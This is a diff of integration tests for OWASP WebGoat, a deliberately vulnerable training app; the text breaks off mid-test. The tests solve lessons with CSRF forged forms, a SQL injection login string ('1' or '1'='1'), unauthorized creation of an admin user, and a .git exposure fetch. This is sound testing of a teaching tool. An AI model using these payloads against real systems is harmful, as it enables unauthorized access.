   Click Link  /WebGoat/registration
 
 Check_Registration_Page
+  [Tags]  WebGoatTests
   Page Should Contain  Username
   Input Text  username  ${USERNAME}
   Input Text  password  ${PASSWORD}
@@ -68,6 +74,7 @@ Check_Registration_Page
   Click Button  Sign up
 
 Check_Welcome_Page
+  [Tags]  WebGoatTests
   Page Should Contain  WebGoat
   Go To  ${ENDPOINT}/login
   Page Should Contain  Username
@@ -77,6 +84,7 @@ Check_Welcome_Page
   Page Should Contain  WebGoat
 
 Check_Menu_Page
+  [Tags]  WebGoatTests
   Click Element  css=a[category='Introduction']
   Click Element  Introduction-WebGoat
   CLick Element  Introduction-WebWolf
@@ -93,9 +101,29 @@ Check_Menu_Page
 
 Check_WebWolf
   Switch Browser  webwolf
-  location should be  ${ENDPOINT_WOLF}/WebWolf
-  Go To  ${ENDPOINT_WOLF}/mail
+  location should be  ${ENDPOINT_WOLF}/login
   Input Text  username  ${USERNAME}
   Input Text  password  ${PASSWORD}
   Click Button  Sign In
+  Go To  ${ENDPOINT_WOLF}/mail
+  Go To  ${ENDPOINT_WOLF}/requests
+  Go To  ${ENDPOINT_WOLF}/files
 
+Check_JWT_Page
+  Go To  ${ENDPOINT_WOLF}/jwt
+  Click Element  token
+  Wait Until Element Is Enabled  token  5s
+  Input Text     token  eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
+  Click Element  secretKey
+  Input Text     secretKey  none
+  Sleep  2s  # Pause before reading the result
+  ${OUT_VALUE}   Get Value  xpath=//textarea[@id='token']
+  Log To Console  Found token ${OUT_VALUE}
+  ${OUT_RESULT}  Evaluate  "ImuPnHvLdU7ULKfbD4aJU" in """${OUT_VALUE}"""
+  Log To Console  Found token ${OUT_RESULT}
+  Capture Page Screenshot
+
+Check_Files_Page
+  Go To  ${ENDPOINT_WOLF}/files
+  Choose File  css:input[type="file"]  ${CURDIR}/goat.robot
+  Click Button  Upload files

src/it/java/org/owasp/webgoat/AccessControlIntegrationTest.java

@@ -1,86 +1,85 @@
 package org.owasp.webgoat;
 
-
 import io.restassured.RestAssured;
 import io.restassured.http.ContentType;
+import java.util.Map;
 import org.apache.http.HttpStatus;
 import org.junit.jupiter.api.Test;
 
-import java.util.Map;
-
 class AccessControlIntegrationTest extends IntegrationTest {
 
-    @Test
-    void testLesson() {
-        startLesson("MissingFunctionAC", true);
-        assignment1();
-        assignment2();
-        assignment3();
+  @Test
+  void testLesson() {
+    startLesson("MissingFunctionAC", true);
+    assignment1();
+    assignment2();
+    assignment3();
 
-        checkResults("/access-control");
-    }
+    checkResults("MissingFunctionAC");
+  }
 
-    private void assignment3() {
-        //direct call should fail if user has not been created
-        RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("JSESSIONID", getWebGoatCookie())
-                .contentType(ContentType.JSON)
-                .get(url("/WebGoat/access-control/users-admin-fix"))
-                .then()
-                .statusCode(HttpStatus.SC_FORBIDDEN);
+  private void assignment3() {
+    // direct call should fail if user has not been created
+    RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("JSESSIONID", getWebGoatCookie())
+        .contentType(ContentType.JSON)
+        .get(url("access-control/users-admin-fix"))
+        .then()
+        .statusCode(HttpStatus.SC_FORBIDDEN);
 
-        //create user
-        var userTemplate = """
+    // create user
+    var userTemplate =
+        """
                 {"username":"%s","password":"%s","admin": "true"}
                 """;
+    RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("JSESSIONID", getWebGoatCookie())
+        .contentType(ContentType.JSON)
+        .body(String.format(userTemplate, this.getUser(), this.getUser()))
+        .post(url("access-control/users"))
+        .then()
+        .statusCode(HttpStatus.SC_OK);
+
+    // get the users
+    var userHash =
         RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("JSESSIONID", getWebGoatCookie())
-                .contentType(ContentType.JSON)
-                .body(String.format(userTemplate, this.getUser(), this.getUser()))
-                .post(url("/WebGoat/access-control/users"))
-                .then()
-                .statusCode(HttpStatus.SC_OK);
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .contentType(ContentType.JSON)
+            .get(url("access-control/users-admin-fix"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .jsonPath()
+            .get("find { it.username == \"Jerry\" }.userHash");
 
-        //get the users
-        var userHash =
-                RestAssured.given()
-                        .when()
-                        .relaxedHTTPSValidation()
-                        .cookie("JSESSIONID", getWebGoatCookie())
-                        .contentType(ContentType.JSON)
-                        .get(url("/WebGoat/access-control/users-admin-fix"))
-                        .then()
-                        .statusCode(200)
-                        .extract()
-                        .jsonPath()
-                        .get("find { it.username == \"Jerry\" }.userHash");
+    checkAssignment(url("access-control/user-hash-fix"), Map.of("userHash", userHash), true);
+  }
 
-        checkAssignment(url("/WebGoat/access-control/user-hash-fix"), Map.of("userHash", userHash), true);
-    }
+  private void assignment2() {
+    var userHash =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .contentType(ContentType.JSON)
+            .get(url("access-control/users"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .jsonPath()
+            .get("find { it.username == \"Jerry\" }.userHash");
 
-    private void assignment2() {
-        var userHash =
-                RestAssured.given()
-                        .when()
-                        .relaxedHTTPSValidation()
-                        .cookie("JSESSIONID", getWebGoatCookie())
-                        .contentType(ContentType.JSON)
-                        .get(url("/WebGoat/access-control/users"))
-                        .then()
-                        .statusCode(200)
-                        .extract()
-                        .jsonPath()
-                        .get("find { it.username == \"Jerry\" }.userHash");
+    checkAssignment(url("access-control/user-hash"), Map.of("userHash", userHash), true);
+  }
 
-        checkAssignment(url("/WebGoat/access-control/user-hash"), Map.of("userHash", userHash), true);
-    }
-
-    private void assignment1() {
-        var params = Map.of("hiddenMenu1", "Users", "hiddenMenu2", "Config");
-        checkAssignment(url("/WebGoat/access-control/hidden-menu"), params, true);
-    }
+  private void assignment1() {
+    var params = Map.of("hiddenMenu1", "Users", "hiddenMenu2", "Config");
+    checkAssignment(url("access-control/hidden-menu"), params, true);
+  }
 }

src/it/java/org/owasp/webgoat/CSRFIntegrationTest.java

@@ -1,8 +1,18 @@
 package org.owasp.webgoat;
 
+import static org.assertj.core.api.Assertions.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.DynamicTest.dynamicTest;
 
 import io.restassured.RestAssured;
 import io.restassured.http.ContentType;
+import java.io.IOException;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.nio.file.Paths;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.Map;
 import lombok.Data;
 import lombok.SneakyThrows;
 import org.junit.jupiter.api.AfterEach;
@@ -11,249 +21,266 @@ import org.junit.jupiter.api.DynamicTest;
 import org.junit.jupiter.api.TestFactory;
 import org.owasp.webgoat.container.lessons.Assignment;
 
-import java.io.IOException;
-import java.nio.file.Files;
-import java.nio.file.Path;
-import java.nio.file.Paths;
-import java.util.Arrays;
-import java.util.HashMap;
-import java.util.Map;
-
-import static org.assertj.core.api.Assertions.assertThat;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.DynamicTest.dynamicTest;
-
 public class CSRFIntegrationTest extends IntegrationTest {
 
-    private static final String trickHTML3 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n" +
-            "<input type=\"hidden\" name=\"csrf\" value=\"thisisnotchecked\"/>\n" +
-            "<input type=\"submit\" name=\"submit\" value=\"assignment 3\"/>\n" +
-            "</form></body></html>";
+  private static final String trickHTML3 =
+      "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n"
+          + "<input type=\"hidden\" name=\"csrf\" value=\"thisisnotchecked\"/>\n"
+          + "<input type=\"submit\" name=\"submit\" value=\"assignment 3\"/>\n"
+          + "</form></body></html>";
 
-    private static final String trickHTML4 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n" +
-            "<input type=\"hidden\" name=\"reviewText\" value=\"hoi\"/>\n" +
-            "<input type=\"hidden\" name=\"starts\" value=\"3\"/>\n" +
-            "<input type=\"hidden\" name=\"validateReq\" value=\"2aa14227b9a13d0bede0388a7fba9aa9\"/>\n" +
-            "<input type=\"submit\" name=\"submit\" value=\"assignment 4\"/>\n" +
-            "</form>\n" +
-            "</body></html>";
+  private static final String trickHTML4 =
+      "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n"
+          + "<input type=\"hidden\" name=\"reviewText\" value=\"hoi\"/>\n"
+          + "<input type=\"hidden\" name=\"starts\" value=\"3\"/>\n"
+          + "<input type=\"hidden\" name=\"validateReq\""
+          + " value=\"2aa14227b9a13d0bede0388a7fba9aa9\"/>\n"
+          + "<input type=\"submit\" name=\"submit\" value=\"assignment 4\"/>\n"
+          + "</form>\n"
+          + "</body></html>";
 
-    private static final String trickHTML7 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" enctype='text/plain' method=\"POST\">\n" +
-            "<input type=\"hidden\" name='{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the best!!' value='\"}' />\n" +
-            "<input type=\"submit\" value=\"assignment 7\"/>\n" +
-            "</form></body></html>";
+  private static final String trickHTML7 =
+      "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" enctype='text/plain'"
+          + " method=\"POST\">\n"
+          + "<input type=\"hidden\""
+          + " name='{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat"
+          + " is the best!!' value='\"}' />\n"
+          + "<input type=\"submit\" value=\"assignment 7\"/>\n"
+          + "</form></body></html>";
 
-    private static final String trickHTML8 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n" +
-            "<input type=\"hidden\" name=\"username\" value=\"csrf-USERNAME\"/>\n" +
-            "<input type=\"hidden\" name=\"password\" value=\"password\"/>\n" +
-            "<input type=\"hidden\" name=\"matchingPassword\" value=\"password\"/>\n" +
-            "<input type=\"hidden\" name=\"agree\" value=\"agree\"/>\n" +
-            "<input type=\"submit\" value=\"assignment 8\"/>\n" +
-            "</form></body></html>";
+  private static final String trickHTML8 =
+      "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n"
+          + "<input type=\"hidden\" name=\"username\" value=\"csrf-USERNAME\"/>\n"
+          + "<input type=\"hidden\" name=\"password\" value=\"password\"/>\n"
+          + "<input type=\"hidden\" name=\"matchingPassword\" value=\"password\"/>\n"
+          + "<input type=\"hidden\" name=\"agree\" value=\"agree\"/>\n"
+          + "<input type=\"submit\" value=\"assignment 8\"/>\n"
+          + "</form></body></html>";
 
-    private String webwolfFileDir;
+  private String webwolfFileDir;
 
-    @BeforeEach
-    @SneakyThrows
-    public void init() {
-        startLesson("CSRF");
-        webwolfFileDir = getWebWolfFileServerLocation();
-        uploadTrickHtml("csrf3.html", trickHTML3.replace("WEBGOATURL", url("/csrf/basic-get-flag")));
-        uploadTrickHtml("csrf4.html", trickHTML4.replace("WEBGOATURL", url("/csrf/review")));
-        uploadTrickHtml("csrf7.html", trickHTML7.replace("WEBGOATURL", url("/csrf/feedback/message")));
-        uploadTrickHtml("csrf8.html", trickHTML8.replace("WEBGOATURL", url("/login")).replace("USERNAME", this.getUser()));
+  @BeforeEach
+  @SneakyThrows
+  public void init() {
+    startLesson("CSRF");
+    webwolfFileDir = getWebWolfFileServerLocation();
+    uploadTrickHtml("csrf3.html", trickHTML3.replace("WEBGOATURL", url("csrf/basic-get-flag")));
+    uploadTrickHtml("csrf4.html", trickHTML4.replace("WEBGOATURL", url("csrf/review")));
+    uploadTrickHtml("csrf7.html", trickHTML7.replace("WEBGOATURL", url("csrf/feedback/message")));
+    uploadTrickHtml(
+        "csrf8.html",
+        trickHTML8.replace("WEBGOATURL", url("login")).replace("USERNAME", this.getUser()));
+  }
+
+  @TestFactory
+  Iterable<DynamicTest> testCSRFLesson() {
+    return Arrays.asList(
+        dynamicTest("assignment 3", () -> checkAssignment3(callTrickHtml("csrf3.html"))),
+        dynamicTest("assignment 4", () -> checkAssignment4(callTrickHtml("csrf4.html"))),
+        dynamicTest("assignment 7", () -> checkAssignment7(callTrickHtml("csrf7.html"))),
+        dynamicTest("assignment 8", () -> checkAssignment8(callTrickHtml("csrf8.html"))));
+  }
+
+  @AfterEach
+  public void shutdown() throws IOException {
+    // logout();
+    login(); // because old cookie got replaced and invalidated
+    startLesson("CSRF", false);
+    checkResults("CSRF");
+  }
+
+  private void uploadTrickHtml(String htmlName, String htmlContent) throws IOException {
+
+    // remove any left over html
+    Path webWolfFilePath = Paths.get(webwolfFileDir);
+    if (webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)).toFile().exists()) {
+      Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)));
     }
 
-    @TestFactory
-    Iterable<DynamicTest> testCSRFLesson() {
-        return Arrays.asList(
-                dynamicTest("assignment 3", () -> checkAssignment3(callTrickHtml("csrf3.html"))),
-                dynamicTest("assignment 4", () -> checkAssignment4(callTrickHtml("csrf4.html"))),
-                dynamicTest("assignment 7", () -> checkAssignment7(callTrickHtml("csrf7.html"))),
-                dynamicTest("assignment 8", () -> checkAssignment8(callTrickHtml("csrf8.html")))
-        );
-    }
+    // upload trick html
+    RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("WEBWOLFSESSION", getWebWolfCookie())
+        .multiPart("file", htmlName, htmlContent.getBytes())
+        .post(new WebWolfUrlBuilder().path("fileupload").build())
+        .then()
+        .extract()
+        .response()
+        .getBody()
+        .asString();
+  }
 
-    @AfterEach
-    public void shutdown() throws IOException {
-        //logout();
-        login();//because old cookie got replaced and invalidated
-        startLesson("CSRF", false);
-        checkResults("/csrf");
-    }
-
-    private void uploadTrickHtml(String htmlName, String htmlContent) throws IOException {
-
-        //remove any left over html
-        Path webWolfFilePath = Paths.get(webwolfFileDir);
-        if (webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)).toFile().exists()) {
-            Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)));
-        }
-
-        //upload trick html
+  private String callTrickHtml(String htmlName) {
+    String result =
         RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("WEBWOLFSESSION", getWebWolfCookie())
-                .multiPart("file", htmlName, htmlContent.getBytes())
-                .post(webWolfUrl("/WebWolf/fileupload"))
-                .then()
-                .extract().response().getBody().asString();
-    }
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .cookie("WEBWOLFSESSION", getWebWolfCookie())
+            .get(new WebWolfUrlBuilder().path("files/%s/%s", this.getUser(), htmlName).build())
+            .then()
+            .extract()
+            .response()
+            .getBody()
+            .asString();
+    result = result.substring(8 + result.indexOf("action=\""));
+    result = result.substring(0, result.indexOf("\""));
 
-    private String callTrickHtml(String htmlName) {
-        String result = RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("JSESSIONID", getWebGoatCookie())
-                .cookie("WEBWOLFSESSION", getWebWolfCookie())
-                .get(webWolfUrl("/files/" + this.getUser() + "/" + htmlName))
-                .then()
-                .extract().response().getBody().asString();
-        result = result.substring(8 + result.indexOf("action=\""));
-        result = result.substring(0, result.indexOf("\""));
+    return result;
+  }
 
-        return result;
-    }
-
-    private void checkAssignment3(String goatURL) {
-        String flag = RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("JSESSIONID", getWebGoatCookie())
-                .header("Referer", webWolfUrl("/files/fake.html"))
-                .post(goatURL)
-                .then()
-                .extract().path("flag").toString();
-
-        Map<String, Object> params = new HashMap<>();
-        params.clear();
-        params.put("confirmFlagVal", flag);
-        checkAssignment(url("/WebGoat/csrf/confirm-flag-1"), params, true);
-    }
-
-    private void checkAssignment4(String goatURL) {
-
-        Map<String, Object> params = new HashMap<>();
-        params.clear();
-        params.put("reviewText", "test review");
-        params.put("stars", "5");
-        params.put("validateReq", "2aa14227b9a13d0bede0388a7fba9aa9");//always the same token is the weakness
-
-        boolean result = RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("JSESSIONID", getWebGoatCookie())
-                .header("Referer", webWolfUrl("/files/fake.html"))
-                .formParams(params)
-                .post(goatURL)
-                .then()
-                .extract().path("lessonCompleted");
-        assertEquals(true, result);
-
-    }
-
-    private void checkAssignment7(String goatURL) {
-        Map<String, Object> params = new HashMap<>();
-        params.put("{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the best!!", "\"}");
-
-        String flag = RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("JSESSIONID", getWebGoatCookie())
-                .header("Referer", webWolfUrl("/files/fake.html"))
-                .contentType(ContentType.TEXT)
-                .body("{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the best!!" + "=\"}")
-                .post(goatURL)
-                .then()
-                .extract().asString();
-        flag = flag.substring(9 + flag.indexOf("flag is:"));
-        flag = flag.substring(0, flag.indexOf("\""));
-
-        params.clear();
-        params.put("confirmFlagVal", flag);
-        checkAssignment(url("/WebGoat/csrf/feedback"), params, true);
-
-    }
-
-    private void checkAssignment8(String goatURL) {
-
-        //first make sure there is an attack csrf- user
-        registerCSRFUser();
-
-        Map<String, Object> params = new HashMap<>();
-        params.clear();
-        params.put("username", "csrf-" + this.getUser());
-        params.put("password", "password");
-
-        //login and get the new cookie
-        String newCookie = RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("JSESSIONID", getWebGoatCookie())
-                .header("Referer", webWolfUrl("/files/fake.html"))
-                .params(params)
-                .post(goatURL)
-                .then()
-                .extract().cookie("JSESSIONID");
-
-        //select the lesson
+  private void checkAssignment3(String goatURL) {
+    String flag =
         RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("JSESSIONID", newCookie)
-                .get(url("CSRF.lesson.lesson"))
-                .then()
-                .statusCode(200);
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .header("Referer", new WebWolfUrlBuilder().path("files/fake.html").build())
+            .post(goatURL)
+            .then()
+            .extract()
+            .path("flag")
+            .toString();
 
-        //click on the assignment
-        boolean result = RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("JSESSIONID", newCookie)
-                .post(url("/csrf/login"))
-                .then()
-                .statusCode(200)
-                .extract().path("lessonCompleted");
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
+    params.put("confirmFlagVal", flag);
+    checkAssignment(url("csrf/confirm-flag-1"), params, true);
+  }
 
-        assertThat(result).isTrue();
+  private void checkAssignment4(String goatURL) {
 
-        login();
-        startLesson("CSRF", false);
-
-        Overview[] assignments = RestAssured.given()
-                .cookie("JSESSIONID", getWebGoatCookie())
-                .get(url("/service/lessonoverview.mvc"))
-                .then()
-                .extract()
-                .jsonPath()
-                .getObject("$", Overview[].class);
-//		assertThat(assignments)
-//                .filteredOn(a -> a.getAssignment().getName().equals("CSRFLogin"))
-//                .extracting(o -> o.solved)
-//                .containsExactly(true);
-    }
-
-    @Data
-    private static class Overview {
-        Assignment assignment;
-        boolean solved;
-    }
-
-    /**
-     * Try to register the new user. Ignore the result.
-     */
-    private void registerCSRFUser() {
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
+    params.put("reviewText", "test review");
+    params.put("stars", "5");
+    params.put(
+        "validateReq", "2aa14227b9a13d0bede0388a7fba9aa9"); // always the same token is the weakness
 
+    boolean result =
         RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .formParam("username", "csrf-" + this.getUser())
-                .formParam("password", "password")
-                .formParam("matchingPassword", "password")
-                .formParam("agree", "agree")
-                .post(url("register.mvc"));
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .header("Referer", new WebWolfUrlBuilder().path("files/fake.html").build())
+            .formParams(params)
+            .post(goatURL)
+            .then()
+            .extract()
+            .path("lessonCompleted");
+    assertEquals(true, result);
+  }
 
-    }
+  private void checkAssignment7(String goatURL) {
+    Map<String, Object> params = new HashMap<>();
+    params.put(
+        "{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the"
+            + " best!!",
+        "\"}");
 
+    String flag =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .header("Referer", new WebWolfUrlBuilder().path("files/fake.html").build())
+            .contentType(ContentType.TEXT)
+            .body(
+                "{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is"
+                    + " the best!!=\"}")
+            .post(goatURL)
+            .then()
+            .extract()
+            .asString();
+    flag = flag.substring(9 + flag.indexOf("flag is:"));
+    flag = flag.substring(0, flag.indexOf("\""));
+
+    params.clear();
+    params.put("confirmFlagVal", flag);
+    checkAssignment(url("csrf/feedback"), params, true);
+  }
+
+  private void checkAssignment8(String goatURL) {
+
+    // first make sure there is an attack csrf- user
+    registerCSRFUser();
+
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
+    params.put("username", "csrf-" + this.getUser());
+    params.put("password", "password");
+
+    // login and get the new cookie
+    String newCookie =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .header("Referer", new WebWolfUrlBuilder().path("files/fake.html").build())
+            .params(params)
+            .post(goatURL)
+            .then()
+            .extract()
+            .cookie("JSESSIONID");
+
+    // select the lesson
+    RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("JSESSIONID", newCookie)
+        .get(url("CSRF.lesson.lesson"))
+        .then()
+        .statusCode(200);
+
+    // click on the assignment
+    boolean result =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", newCookie)
+            .post(url("csrf/login"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted");
+
+    assertThat(result).isTrue();
+
+    login();
+    startLesson("CSRF", false);
+
+    Overview[] assignments =
+        RestAssured.given()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .relaxedHTTPSValidation()
+            .get(url("service/lessonoverview.mvc/CSRF"))
+            .then()
+            .extract()
+            .jsonPath()
+            .getObject("$", Overview[].class);
+    assertThat(assignments)
+        .filteredOn(a -> a.getAssignment().getName().equals("CSRFLogin"))
+        .extracting(o -> o.solved)
+        .containsExactly(true);
+  }
+
+  @Data
+  private static class Overview {
+    Assignment assignment;
+    boolean solved;
+  }
+
+  /** Try to register the new user. Ignore the result. */
+  private void registerCSRFUser() {
+
+    RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .formParam("username", "csrf-" + this.getUser())
+        .formParam("password", "password")
+        .formParam("matchingPassword", "password")
+        .formParam("agree", "agree")
+        .post(url("register.mvc"));
+  }
 }

src/it/java/org/owasp/webgoat/ChallengeIntegrationTest.java

@@ -1,112 +1,170 @@
 package org.owasp.webgoat;
 
+import static org.junit.jupiter.api.Assertions.assertTrue;
 
 import io.restassured.RestAssured;
-import org.junit.jupiter.api.Test;
-
 import java.util.Arrays;
 import java.util.HashMap;
 import java.util.List;
 import java.util.Map;
-
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
+import org.assertj.core.api.Assertions;
+import org.junit.jupiter.api.Test;
+import org.springframework.http.HttpStatus;
 
 public class ChallengeIntegrationTest extends IntegrationTest {
 
-    @Test
-    public void testChallenge1() {
-        startLesson("Challenge1");
+  @Test
+  void testChallenge1() {
+    startLesson("Challenge1");
 
-        byte[] resultBytes =
-                RestAssured.given()
-                        .when()
-                        .relaxedHTTPSValidation()
-                        .cookie("JSESSIONID", getWebGoatCookie())
-                        .get(url("/WebGoat/challenge/logo"))
-                        .then()
-                        .statusCode(200)
-                        .extract().asByteArray();
+    byte[] resultBytes =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(url("challenge/logo"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .asByteArray();
 
-        String pincode = new String(Arrays.copyOfRange(resultBytes, 81216, 81220));
-        Map<String, Object> params = new HashMap<>();
-        params.clear();
-        params.put("username", "admin");
-        params.put("password", "!!webgoat_admin_1234!!".replace("1234", pincode));
+    String pincode = new String(Arrays.copyOfRange(resultBytes, 81216, 81220));
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
+    params.put("username", "admin");
+    params.put("password", "!!webgoat_admin_1234!!".replace("1234", pincode));
 
+    checkAssignment(url("challenge/1"), params, true);
+    String result =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .formParams(params)
+            .post(url("challenge/1"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .asString();
 
-        checkAssignment(url("/WebGoat/challenge/1"), params, true);
-        String result =
-                RestAssured.given()
-                        .when()
-                        .relaxedHTTPSValidation()
-                        .cookie("JSESSIONID", getWebGoatCookie())
-                        .formParams(params)
-                        .post(url("/WebGoat/challenge/1"))
-                        .then()
-                        .statusCode(200)
-                        .extract().asString();
+    String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
+    params.clear();
+    params.put("flag", flag);
+    checkAssignment(url("challenge/flag/1"), params, true);
 
-        String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
-        params.clear();
-        params.put("flag", flag);
-        checkAssignment(url("/WebGoat/challenge/flag"), params, true);
+    checkResults("Challenge1");
 
+    List<String> capturefFlags =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(url("scoreboard-data"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .jsonPath()
+            .get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured");
+    assertTrue(capturefFlags.contains("Admin lost password"));
+  }
 
-        checkResults("/challenge/1");
+  @Test
+  void testChallenge5() {
+    startLesson("Challenge5");
 
-        List<String> capturefFlags =
-                RestAssured.given()
-                        .when()
-                        .relaxedHTTPSValidation()
-                        .cookie("JSESSIONID", getWebGoatCookie())
-                        .get(url("/WebGoat/scoreboard-data"))
-                        .then()
-                        .statusCode(200)
-                        .extract().jsonPath()
-                        .get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured");
-        assertTrue(capturefFlags.contains("Admin lost password"));
-    }
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
+    params.put("username_login", "Larry");
+    params.put("password_login", "1' or '1'='1");
 
-    @Test
-    public void testChallenge5() {
-        startLesson("Challenge5");
+    String result =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .formParams(params)
+            .post(url("challenge/5"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .asString();
 
-        Map<String, Object> params = new HashMap<>();
-        params.clear();
-        params.put("username_login", "Larry");
-        params.put("password_login", "1' or '1'='1");
+    String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
+    params.clear();
+    params.put("flag", flag);
+    checkAssignment(url("challenge/flag/5"), params, true);
 
-        String result =
-                RestAssured.given()
-                        .when()
-                        .relaxedHTTPSValidation()
-                        .cookie("JSESSIONID", getWebGoatCookie())
-                        .formParams(params)
-                        .post(url("/WebGoat/challenge/5"))
-                        .then()
-                        .statusCode(200)
-                        .extract().asString();
+    checkResults("Challenge5");
 
-        String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
-        params.clear();
-        params.put("flag", flag);
-        checkAssignment(url("/WebGoat/challenge/flag"), params, true);
+    List<String> capturefFlags =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(url("scoreboard-data"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .jsonPath()
+            .get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured");
+    assertTrue(capturefFlags.contains("Without password"));
+  }
 
+  @Test
+  void testChallenge7() {
+    startLesson("Challenge7");
+    cleanMailbox();
 
-        checkResults("/challenge/5");
+    // One should first be able to download git.zip from WebGoat
+    RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("JSESSIONID", getWebGoatCookie())
+        .get(url("challenge/7/.git"))
+        .then()
+        .statusCode(200)
+        .extract()
+        .asString();
 
-        List<String> capturefFlags =
-                RestAssured.given()
-                        .when()
-                        .relaxedHTTPSValidation()
-                        .cookie("JSESSIONID", getWebGoatCookie())
-                        .get(url("/WebGoat/scoreboard-data"))
-                        .then()
-                        .statusCode(200)
-                        .extract().jsonPath()
-                        .get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured");
-        assertTrue(capturefFlags.contains("Without password"));
-    }
+    // Should email WebWolf inbox this should give a hint to the link being static
+    RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("JSESSIONID", getWebGoatCookie())
+        .formParams("email", getUser() + "@webgoat.org")
+        .post(url("challenge/7"))
+        .then()
+        .statusCode(200)
+        .extract()
+        .asString();
 
+    // Check whether email has been received
+    var responseBody =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
